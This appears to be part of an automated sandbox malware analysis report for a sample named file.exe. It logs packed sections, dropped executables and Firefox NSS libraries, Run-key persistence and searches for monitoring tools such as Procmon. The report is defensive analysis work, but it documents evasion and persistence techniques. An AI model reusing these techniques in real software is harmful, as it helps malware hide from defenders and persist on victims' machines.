Source: C:\Users\user\AppData\Local\Temp\1007106001\1e1f95e037.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1007106001\1e1f95e037.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007106001\1e1f95e037.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007106001\1e1f95e037.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007106001\1e1f95e037.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007106001\1e1f95e037.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007106001\1e1f95e037.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007106001\1e1f95e037.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: winmm.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1833472 > 1048576

Source: file.exe

Static PE information: Raw size of etqepvsz is bigger than: 0x100000 < 0x1a5c00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000001.00000002.1759207273.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000001.00000002.1759207273.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 1.2.file.exe.aa0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;etqepvsz:EW;trlogbdm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;etqepvsz:EW;trlogbdm:EW;.taggant:EW;
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Unpacked PE file: 21.2.DocumentsIDGIJEGHDA.exe.150000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cpijmpsi:EW;lipnutuu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cpijmpsi:EW;lipnutuu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 22.2.skotes.exe.130000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cpijmpsi:EW;lipnutuu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cpijmpsi:EW;lipnutuu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 23.2.skotes.exe.130000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cpijmpsi:EW;lipnutuu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cpijmpsi:EW;lipnutuu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 27.2.skotes.exe.130000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cpijmpsi:EW;lipnutuu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cpijmpsi:EW;lipnutuu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Unpacked PE file: 29.2.fd5d5b30e9.exe.310000.0.unpack :EW;.rsrc :W;.idata :W; :EW;txzlxcxt:EW;qrlkglyz:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;txzlxcxt:EW;qrlkglyz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Unpacked PE file: 30.2.1e42688e0b.exe.770000.0.unpack :EW;.rsrc :W;.idata :W; :EW;ounhvdhk:EW;vwmsxuxs:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;ounhvdhk:EW;vwmsxuxs:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Unpacked PE file: 32.2.36030a5366.exe.f00000.0.unpack :EW;.rsrc:W;.idata :W; :EW;etqepvsz:EW;trlogbdm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;etqepvsz:EW;trlogbdm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Unpacked PE file: 38.2.1e42688e0b.exe.770000.0.unpack :EW;.rsrc :W;.idata :W; :EW;ounhvdhk:EW;vwmsxuxs:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;ounhvdhk:EW;vwmsxuxs:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: fd5d5b30e9.exe.27.dr	Static PE information: real checksum: 0x44daf4 should be: 0x44a1f1
Source: 1e42688e0b.exe.27.dr	Static PE information: real checksum: 0x1d9440 should be: 0x1d3c28
Source: 36030a5366.exe.27.dr	Static PE information: real checksum: 0x1c198b should be: 0x1ca8fa
Source: random[2].exe.27.dr	Static PE information: real checksum: 0x1c198b should be: 0x1ca8fa
Source: random[1].exe.27.dr	Static PE information: real checksum: 0x44daf4 should be: 0x44a1f1
Source: 2438692dfe.exe.27.dr	Static PE information: real checksum: 0x2a1615 should be: 0x1c489
Source: DocumentsIDGIJEGHDA.exe.1.dr	Static PE information: real checksum: 0x1d7551 should be: 0x1db9fe
Source: file.exe	Static PE information: real checksum: 0x1c198b should be: 0x1ca8fa
Source: random[1].exe0.27.dr	Static PE information: real checksum: 0x1d9440 should be: 0x1d3c28
Source: random[1].exe.1.dr	Static PE information: real checksum: 0x1d7551 should be: 0x1db9fe
Source: skotes.exe.21.dr	Static PE information: real checksum: 0x1d7551 should be: 0x1db9fe
Source: random[2].exe0.27.dr	Static PE information: real checksum: 0x2a1615 should be: 0x1c489

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: etqepvsz
Source: file.exe	Static PE information: section name: trlogbdm
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140.dll.1.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.1.dr	Static PE information: section name: .didat
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: .idata
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: cpijmpsi
Source: random[1].exe.1.dr	Static PE information: section name: lipnutuu
Source: random[1].exe.1.dr	Static PE information: section name: .taggant
Source: DocumentsIDGIJEGHDA.exe.1.dr	Static PE information: section name:
Source: DocumentsIDGIJEGHDA.exe.1.dr	Static PE information: section name: .idata
Source: DocumentsIDGIJEGHDA.exe.1.dr	Static PE information: section name:
Source: DocumentsIDGIJEGHDA.exe.1.dr	Static PE information: section name: cpijmpsi
Source: DocumentsIDGIJEGHDA.exe.1.dr	Static PE information: section name: lipnutuu
Source: DocumentsIDGIJEGHDA.exe.1.dr	Static PE information: section name: .taggant
Source: nss3.dll.1.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.1.dr	Static PE information: section name: .00cfg
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: .idata
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: cpijmpsi
Source: skotes.exe.21.dr	Static PE information: section name: lipnutuu
Source: skotes.exe.21.dr	Static PE information: section name: .taggant
Source: random[1].exe.27.dr	Static PE information: section name:
Source: random[1].exe.27.dr	Static PE information: section name: .rsrc
Source: random[1].exe.27.dr	Static PE information: section name: .idata
Source: random[1].exe.27.dr	Static PE information: section name:
Source: random[1].exe.27.dr	Static PE information: section name: txzlxcxt
Source: random[1].exe.27.dr	Static PE information: section name: qrlkglyz
Source: random[1].exe.27.dr	Static PE information: section name: .taggant
Source: fd5d5b30e9.exe.27.dr	Static PE information: section name:
Source: fd5d5b30e9.exe.27.dr	Static PE information: section name: .rsrc
Source: fd5d5b30e9.exe.27.dr	Static PE information: section name: .idata
Source: fd5d5b30e9.exe.27.dr	Static PE information: section name:
Source: fd5d5b30e9.exe.27.dr	Static PE information: section name: txzlxcxt
Source: fd5d5b30e9.exe.27.dr	Static PE information: section name: qrlkglyz
Source: fd5d5b30e9.exe.27.dr	Static PE information: section name: .taggant
Source: random[1].exe0.27.dr	Static PE information: section name:
Source: random[1].exe0.27.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.27.dr	Static PE information: section name: .idata
Source: random[1].exe0.27.dr	Static PE information: section name:
Source: random[1].exe0.27.dr	Static PE information: section name: ounhvdhk
Source: random[1].exe0.27.dr	Static PE information: section name: vwmsxuxs
Source: random[1].exe0.27.dr	Static PE information: section name: .taggant
Source: 1e42688e0b.exe.27.dr	Static PE information: section name:
Source: 1e42688e0b.exe.27.dr	Static PE information: section name: .rsrc
Source: 1e42688e0b.exe.27.dr	Static PE information: section name: .idata
Source: 1e42688e0b.exe.27.dr	Static PE information: section name:
Source: 1e42688e0b.exe.27.dr	Static PE information: section name: ounhvdhk
Source: 1e42688e0b.exe.27.dr	Static PE information: section name: vwmsxuxs
Source: 1e42688e0b.exe.27.dr	Static PE information: section name: .taggant
Source: random[2].exe.27.dr	Static PE information: section name:
Source: random[2].exe.27.dr	Static PE information: section name: .idata
Source: random[2].exe.27.dr	Static PE information: section name:
Source: random[2].exe.27.dr	Static PE information: section name: etqepvsz
Source: random[2].exe.27.dr	Static PE information: section name: trlogbdm
Source: random[2].exe.27.dr	Static PE information: section name: .taggant
Source: 36030a5366.exe.27.dr	Static PE information: section name:
Source: 36030a5366.exe.27.dr	Static PE information: section name: .idata
Source: 36030a5366.exe.27.dr	Static PE information: section name:
Source: 36030a5366.exe.27.dr	Static PE information: section name: etqepvsz
Source: 36030a5366.exe.27.dr	Static PE information: section name: trlogbdm
Source: 36030a5366.exe.27.dr	Static PE information: section name: .taggant
Source: random[2].exe0.27.dr	Static PE information: section name:
Source: random[2].exe0.27.dr	Static PE information: section name: .idata
Source: random[2].exe0.27.dr	Static PE information: section name: ybkcjpak
Source: random[2].exe0.27.dr	Static PE information: section name: joqtqtqu
Source: random[2].exe0.27.dr	Static PE information: section name: .taggant
Source: 2438692dfe.exe.27.dr	Static PE information: section name:
Source: 2438692dfe.exe.27.dr	Static PE information: section name: .idata
Source: 2438692dfe.exe.27.dr	Static PE information: section name: ybkcjpak
Source: 2438692dfe.exe.27.dr	Static PE information: section name: joqtqtqu
Source: 2438692dfe.exe.27.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_0014D91C push ecx; ret	27_2_0014D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_0019F465 push ebx; mov dword ptr [esp], ecx	27_1_001A04E4
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_0019F2B8 push 13375971h; mov dword ptr [esp], edi	27_1_001A01B9
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_00299829 push ecx; mov dword ptr [esp], 3664D26Bh	27_1_00299859
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_00299829 push 77626587h; mov dword ptr [esp], ecx	27_1_00299868
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_00299829 push 3D8C96CEh; mov dword ptr [esp], eax	27_1_002998BA
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_00299829 push ebx; mov dword ptr [esp], ebp	27_1_002998D9
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_00299829 push edi; mov dword ptr [esp], 7DC2FF81h	27_1_002998DD
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_001E2A1A push 066C3800h; mov dword ptr [esp], eax	27_1_001E2AA3
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_001E2A1A push 3ABDFC60h; mov dword ptr [esp], eax	27_1_001E2AB3
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_001E2A1A push 58A5F5ADh; mov dword ptr [esp], esi	27_1_001E2B00
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_001E2A1A push 7098C4C2h; mov dword ptr [esp], ecx	27_1_001E2B5E
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_001EAE1B push ebp; mov dword ptr [esp], eax	27_1_001EAE2C
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_001EAE1B push 3EBF6346h; mov dword ptr [esp], ecx	27_1_001EAE48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_001EAE1B push esi; mov dword ptr [esp], ecx	27_1_001EAE4C
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_001EAE1B push 61FC612Ch; mov dword ptr [esp], ecx	27_1_001EAEEC
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_001EAE1B push esi; mov dword ptr [esp], ebx	27_1_001EAF90
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_001EAE1B push 4643C953h; mov dword ptr [esp], edx	27_1_001EAFA5
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_001EAE1B push ebx; mov dword ptr [esp], 3D77261Bh	27_1_001EAFA9
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_001A1426 push 81577D38h; ret	27_1_001A142B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_002ADC6B push edi; mov dword ptr [esp], esi	27_1_002ADCB9
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_002ADC6B push edi; mov dword ptr [esp], ecx	27_1_002ADCCC
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_002ADC6B push edx; mov dword ptr [esp], 3FFECF7Ch	27_1_002ADCDE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_002ADC6B push esi; mov dword ptr [esp], 2B4FCDB1h	27_1_002ADD27
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_001A146F push dword ptr [esi-17h]; retf 000Dh	27_1_001A1475
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_00246C52 push ebp; mov dword ptr [esp], eax	27_1_00246C75
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_00246C52 push ecx; mov dword ptr [esp], ebx	27_1_00246D44
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_00246C52 push ebx; mov dword ptr [esp], edx	27_1_00246D60
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_00246C52 push 774D9ED8h; mov dword ptr [esp], ecx	27_1_00246D6A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_001A1AB4 push 00000029h; iretd	27_1_001A1AB6
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_1_00203499 push ecx; mov dword ptr [esp], ebx	27_1_002034F0

Source: file.exe	Static PE information: section name: etqepvsz entropy: 7.954021638858796
Source: random[1].exe.1.dr	Static PE information: section name: entropy: 7.980765567600233
Source: random[1].exe.1.dr	Static PE information: section name: cpijmpsi entropy: 7.953169168902011
Source: DocumentsIDGIJEGHDA.exe.1.dr	Static PE information: section name: entropy: 7.980765567600233
Source: DocumentsIDGIJEGHDA.exe.1.dr	Static PE information: section name: cpijmpsi entropy: 7.953169168902011
Source: skotes.exe.21.dr	Static PE information: section name: entropy: 7.980765567600233
Source: skotes.exe.21.dr	Static PE information: section name: cpijmpsi entropy: 7.953169168902011
Source: random[1].exe.27.dr	Static PE information: section name: txzlxcxt entropy: 7.954922952403537
Source: fd5d5b30e9.exe.27.dr	Static PE information: section name: txzlxcxt entropy: 7.954922952403537
Source: random[1].exe0.27.dr	Static PE information: section name: entropy: 7.9697310158446655
Source: random[1].exe0.27.dr	Static PE information: section name: ounhvdhk entropy: 7.953977953283763
Source: 1e42688e0b.exe.27.dr	Static PE information: section name: entropy: 7.9697310158446655
Source: 1e42688e0b.exe.27.dr	Static PE information: section name: ounhvdhk entropy: 7.953977953283763
Source: random[2].exe.27.dr	Static PE information: section name: etqepvsz entropy: 7.954021638858796
Source: 36030a5366.exe.27.dr	Static PE information: section name: etqepvsz entropy: 7.954021638858796
Source: random[2].exe0.27.dr	Static PE information: section name: entropy: 7.7683285661738815
Source: 2438692dfe.exe.27.dr	Static PE information: section name: entropy: 7.7683285661738815

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsIDGIJEGHDA.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007107001\2438692dfe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsIDGIJEGHDA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007106001\1e1f95e037.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsIDGIJEGHDA.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1e42688e0b.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 36030a5366.exe

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsIDGIJEGHDA.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Window searched: window name: FilemonClass
